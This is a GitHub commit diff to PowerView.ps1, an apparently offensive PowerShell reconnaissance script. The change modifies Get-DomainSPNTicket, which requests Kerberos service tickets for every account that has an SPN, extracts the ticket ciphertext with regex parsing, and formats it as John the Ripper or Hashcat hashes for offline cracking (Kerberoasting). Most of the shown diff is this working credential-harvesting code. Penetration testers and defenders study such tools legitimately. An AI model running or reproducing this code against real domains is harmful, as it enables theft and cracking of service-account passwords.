Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit f6e6c09

Browse files
committed
Added mod to Get-DomainSPNTicket from @leechristensen to better parse tickets
1 parent c5eb994 commit f6e6c09

File tree

1 file changed

+55
-20
lines changed

1 file changed

+55
-20
lines changed

Recon/PowerView.ps1

Lines changed: 55 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -2597,6 +2597,11 @@ Specifies the service principal name to request the ticket for.
25972597

25982598
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
25992599

2600+
.PARAMETER OutputFormat
2601+
2602+
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2603+
Defaults to 'John'.
2604+
26002605
.PARAMETER Credential
26012606

26022607
A [Management.Automation.PSCredential] object of alternate credentials
@@ -2616,9 +2621,9 @@ Request kerberos service tickets for all SPNs passed on the pipeline.
26162621

26172622
.EXAMPLE
26182623

2619-
Get-DomainUser -SPN | Get-DomainSPNTicket
2624+
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
26202625

2621-
Request kerberos service tickets for all users with non-null SPNs.
2626+
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
26222627

26232628
.INPUTS
26242629

@@ -2653,6 +2658,11 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
26532658
[Object[]]
26542659
$User,
26552660

2661+
[ValidateSet('John', 'Hashcat')]
2662+
[Alias('Format')]
2663+
[String]
2664+
$OutputFormat = 'John',
2665+
26562666
[Management.Automation.PSCredential]
26572667
[Management.Automation.CredentialAttribute()]
26582668
$Credential = [Management.Automation.PSCredential]::Empty
@@ -2701,28 +2711,53 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
27012711
$TicketByteStream = $Ticket.GetRequest()
27022712
}
27032713
if ($TicketByteStream) {
2704-
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2705-
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
2706-
$Parts.RemoveAt($Parts.Count - 1)
2707-
$Hash = $Parts -join 'A48201'
2708-
$Hash = $Hash.Insert(32, '$')
2709-
27102714
$Out = New-Object PSObject
2711-
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2712-
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2713-
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
27142715

2715-
if ($DistinguishedName -ne 'UNKNOWN') {
2716-
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2717-
}
2718-
else {
2719-
$UserDomain = 'UNKNOWN'
2716+
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2717+
2718+
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
2719+
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
2720+
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
2721+
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
2722+
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
2723+
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
2724+
2725+
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
2726+
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
2727+
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
2728+
$Hash = $null
2729+
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
2730+
} else {
2731+
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
2732+
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
2733+
}
2734+
} else {
2735+
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
2736+
$Hash = $null
2737+
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
27202738
}
27212739

2722-
# hashcat output format (and now John's)
2723-
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2740+
if($Hash) {
2741+
if ($OutputFormat -match 'John') {
2742+
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
2743+
}
2744+
else {
2745+
if ($DistinguishedName -ne 'UNKNOWN') {
2746+
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2747+
}
2748+
else {
2749+
$UserDomain = 'UNKNOWN'
2750+
}
27242751

2725-
$Out | Add-Member Noteproperty 'Hash' $HashFormat
2752+
# hashcat output format
2753+
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2754+
}
2755+
$Out | Add-Member Noteproperty 'Hash' $HashFormat
2756+
}
2757+
2758+
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2759+
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2760+
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
27262761
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
27272762
Write-Output $Out
27282763
}
@@ -8658,7 +8693,7 @@ OpaqueLength : 0
86588693

86598694
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
86608695

8661-
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
8696+
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
86628697

86638698
[no results returned]
86648699

0 commit comments

Comments
 (0)